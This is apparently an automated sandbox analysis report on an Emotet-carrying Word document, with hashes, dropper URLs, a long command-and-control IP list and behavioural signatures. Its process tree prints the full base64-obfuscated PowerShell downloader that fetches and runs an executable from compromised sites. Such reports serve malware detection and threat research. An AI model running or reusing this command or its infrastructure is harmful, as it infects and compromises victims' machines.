Analysis
- max time kernel
142s - max time network
146s - platform
windows10_x64 - resource
win10v200722 - submitted
21/08/2020, 22:33
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_1f652c8a85b1ea5e74d50958dc8ebb4abb53ea4606985df5f70e335e60f33bdc_2020-08-21__223201._doc.doc
Resource
win7
General
- Target emotet_e1_1f652c8a85b1ea5e74d50958dc8ebb4abb53ea4606985df5f70e335e60f33bdc_2020-08-21__223201._doc.doc
- Size 179KB
- Sample200821-53c6rwzhdn
- SHA256 1f652c8a85b1ea5e74d50958dc8ebb4abb53ea4606985df5f70e335e60f33bdc
- MD5 e70e89c682bd2105577a62d6aadb41c9
- SHA1 07650420c8b73244e77abbaf670ee939d00ab5ff
- SHA512 b3e47a6bdb0e39f2eaed67817b3f2880098aa91a19702236ff7aaa652ae7b3313b92772a7289597dd03b4caafa6902bd1391fbed91b11f0cad3d5304bd71eef1
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://tavo.cl/resumen-uso-inodos/2/
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exe.dropper
http://swiftlogisticseg.com/wp-admin/yV/
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exe.dropper
http://uss.ac.th/cgi-bin/g0/
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exe.dropper
http://nettube.com.br/rar/AM/
-
exe.dropper
https://onyourleftracing.com/cgi-bin/uas/
-
exe.dropper
http://paganwitch.com/wp-admin/H/
-
exe.dropper
http://turbozero.com/luxcal/files/z/
Extracted
-
emotet
-
181.30.61.163:443
-
209.126.6.222:8080
-
5.153.250.14:8080
-
188.135.15.49:80
-
104.131.41.185:8080
-
178.250.54.208:8080
-
50.28.51.143:8080
-
170.81.48.2:80
-
87.106.46.107:8080
-
191.99.160.58:80
-
187.162.248.237:80
-
89.32.150.160:8080
-
46.28.111.142:7080
-
190.190.148.27:8080
-
190.115.18.139:8080
-
178.79.163.131:8080
-
73.213.208.163:80
-
219.92.8.17:8080
-
95.9.180.128:80
-
212.71.237.140:8080
-
82.196.15.205:8080
-
111.67.12.221:8080
-
24.135.198.218:80
-
202.4.57.96:80
-
61.92.159.208:8080
-
80.249.176.206:80
-
77.90.136.129:8080
-
81.129.198.57:80
-
58.171.153.81:80
-
217.13.106.14:8080
-
24.148.98.177:80
-
51.255.165.160:8080
-
190.6.193.152:8080
-
149.62.173.247:8080
-
94.206.45.18:80
-
137.74.106.111:7080
-
190.195.129.227:8090
-
85.109.159.61:443
-
207.144.103.227:80
-
91.219.169.180:80
-
217.199.160.224:7080
-
104.131.103.37:8080
-
83.169.21.32:7080
-
82.163.245.38:80
-
204.225.249.100:7080
-
152.169.22.67:80
-
45.161.242.102:80
-
65.36.62.20:80
-
185.94.252.27:443
-
116.125.120.88:443
-
190.24.243.186:80
-
190.147.137.153:443
-
190.128.173.10:80
-
192.241.146.84:8080
-
186.250.52.226:8080
-
68.183.170.114:8080
-
45.173.88.33:80
-
12.162.84.2:8080
-
185.33.0.233:80
-
68.183.190.199:8080
-
73.116.193.136:80
-
213.60.96.117:80
-
189.2.177.210:443
-
186.103.141.250:443
-
177.73.0.98:443
-
72.47.248.48:7080
-
2.47.112.152:80
-
181.129.96.162:8080
-
5.196.35.138:7080
-
185.94.252.12:80
-
190.163.31.26:80
-
94.176.234.118:443
-
70.32.84.74:8080
-
213.176.36.147:8080
-
114.109.179.60:80
-
177.74.228.34:80
-
186.70.127.199:8090
-
174.100.27.229:80
-
45.33.77.42:8080
-
212.93.117.170:80
-
219.92.13.25:80
-
188.2.217.94:80
-
77.55.211.77:8080
-
172.104.169.32:8080
-
85.105.140.135:443
-
209.236.123.42:8080
-
70.32.115.157:8080
-
24.135.1.177:80
-
82.76.111.249:443
-
192.241.143.52:8080
-
51.159.23.217:443
-
191.182.6.118:80
-
67.247.242.247:80
-
177.72.13.80:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3776 912 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2596-15-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet behavioral2/memory/2596-15-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet behavioral2/memory/3504-18-0x00000000001F0000-0x00000000001FC000-memory.dmp emotet behavioral2/memory/3504-18-0x00000000001F0000-0x00000000001FC000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 17 3776 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2596 Ebx_b2iy.exe 3504 joinutil.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\ktmutil\joinutil.exe Ebx_b2iy.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3776 powersheLL.exe 3776 powersheLL.exe 3776 powersheLL.exe 3504 joinutil.exe 3504 joinutil.exe 3504 joinutil.exe 3504 joinutil.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3776 powersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE 3740 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3776 wrote to memory of 2596 3776 powersheLL.exe 75 PID 3776 wrote to memory of 2596 3776 powersheLL.exe 75 PID 3776 wrote to memory of 2596 3776 powersheLL.exe 75 PID 2596 wrote to memory of 3504 2596 Ebx_b2iy.exe 78 PID 2596 wrote to memory of 3504 2596 Ebx_b2iy.exe 78 PID 2596 wrote to memory of 3504 2596 Ebx_b2iy.exe 78
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_1f652c8a85b1ea5e74d50958dc8ebb4abb53ea4606985df5f70e335e60f33bdc_2020-08-21__223201._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABEADYAegBfADgAMAB1AD0AKAAnAE0ANAB0AHIAJwArACcAbABsAGoAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgBUAEUATQBQAFwATwBGAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAVQBSAEkAYABUAFkAcAByAE8AdABPAGAAYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABSADcAdQBxAGsAbQBsACAAPQAgACgAJwBFACcAKwAnAGIAeABfAGIAJwArACcAMgBpAHkAJwApADsAJABZAG0ANQA3AGIAdgAwAD0AKAAnAEsAZQAnACsAJwBwADQAJwArACcAMwBfAGoAJwApADsAJABGADgAZQBmAGcAdQBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMAGcAUgAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAEwAJwArACcAZwBSACcAKQAuACIAUgBFAFAAYABsAEEAQwBlACIAKAAoAFsAQwBoAGEAcgBdADcANgArAFsAQwBoAGEAcgBdADEAMAAzACsAWwBDAGgAYQByAF0AOAAyACkALAAnAFwAJwApACkAKwAkAFIANwB1AHEAawBtAGwAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFoAegBuAGIAdwAzAG0APQAoACcAVgAnACsAJwBqAGoAegBsACcAKwAnAHcAbgAnACkAOwAkAEcAOQA5ADYAOABmADgAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAGIAYwBMAEkARQBOAHQAOwAkAEYAdwBhAGEAMQBxAHIAPQAoACcAaAB0AHQAJwArACcAcAA6AC8ALwB0AGEAJwArACcAdgBvAC4AYwBsACcAKwAnAC8AcgBlAHMAdQBtAGUAbgAtAHUAcwAnACsAJwBvACcAKwAnAC0AaQAnACsAJwBuAG8AZABvAHMAJwArACcALwAyAC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoALwAvAHMAdwAnACsAJwBpAGYAdAAnACsAJwBsAG8AZwBpACcAKwAnAHMAJwArACcAdABpAGMAcwBlAGcALgBjAG8AbQAnACsAJwAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAvAHkAVgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB1AHMAJwArACcAcwAnACsAJwAuACcAKwAnAGEAYwAuAHQAaAAvACcAKwAnAGMAZwBpAC0AYgBpAG4ALwBnADAALwAnACsAJwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AbgAnACsAJwBlAHQAJwArACcAdAB1AGIAZQAuAGMAbwBtACcAKwAnAC4AYgAnACsAJwByAC8AcgBhAHIAJwArACcALwBBAE0ALwAqACcAKwAnAGgAJwArACcAdAB0AHAAcwAnACsAJwA6ACcAKwAnAC8ALwBvACcAKwAnAG4AeQBvAHUAJwArACcAcgBsAGUAZgB0AHIAYQBjACcAKwAnAGkAbgBnAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcAdQBhACcAKwAnAHMALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcAAnACsAJwBhACcAKwAnAGcAYQAnACsAJwBuAHcAaQB0AGMAaAAuAGMAbwBtAC8AdwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwArACcASAAvACoAaAB0AHQAcAA6AC8ALwB0AHUAcgBiACcAKwAnAG8AegAnACsAJwBlACcAKwAnAHIAJwArACcAbwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AbAB1AHgAYwBhAGwALwBmACcAKwAnAGkAbABlAHMAJwArACcALwB6ACcAKwAnAC8AJwApAC4AIgBTAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAcQAwAHcAMQBqAHEAPQAoACcATwB5ADgAJwArACcAaAA1ADkAcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAGUAYwBpAGoAcwAyACAAaQBuACAAJABGAHcAYQBhADEAcQByACkAewB0AHIAeQB7ACQARwA5ADkANgA4AGYAOAAuACIARABgAG8AdwBuAGAATABPAEEAYABEAGYASQBMAGUAIgAoACQASABlAGMAaQBqAHMAMgAsACAAJABGADgAZQBmAGcAdQBjACkAOwAkAEoAeABiAGMANgB4ADkAPQAoACcAQQAnACsAJwBoAGMAJwArACcAMwBtAGsAcgAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARgA4AGUAZgBnAHUAYwApAC4AIgBMAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADIAMgAzACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAEYAOABlAGYAZwB1AGMAKQA7ACQAVgAzAGwAYQB5AHgAMgA9ACgAJwBEAHIAOQAnACsAJwA3AGYANQA3ACcAKQA7AGIAcgBlAGEAawA7ACQARgBsAHoAdQBrADMAcAA9ACgAJwBVAHYAdAAnACsAJwBnACcAKwAnAHkANwBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBxAGEAZwBkAGIAMQA9ACgAJwBJACcAKwAnADUAegBmAF8AawA2ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3776 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Ebx_b2iy.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\SysWOW64\ktmutil\joinutil.exe"C:\Windows\SysWOW64\ktmutil\joinutil.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3504
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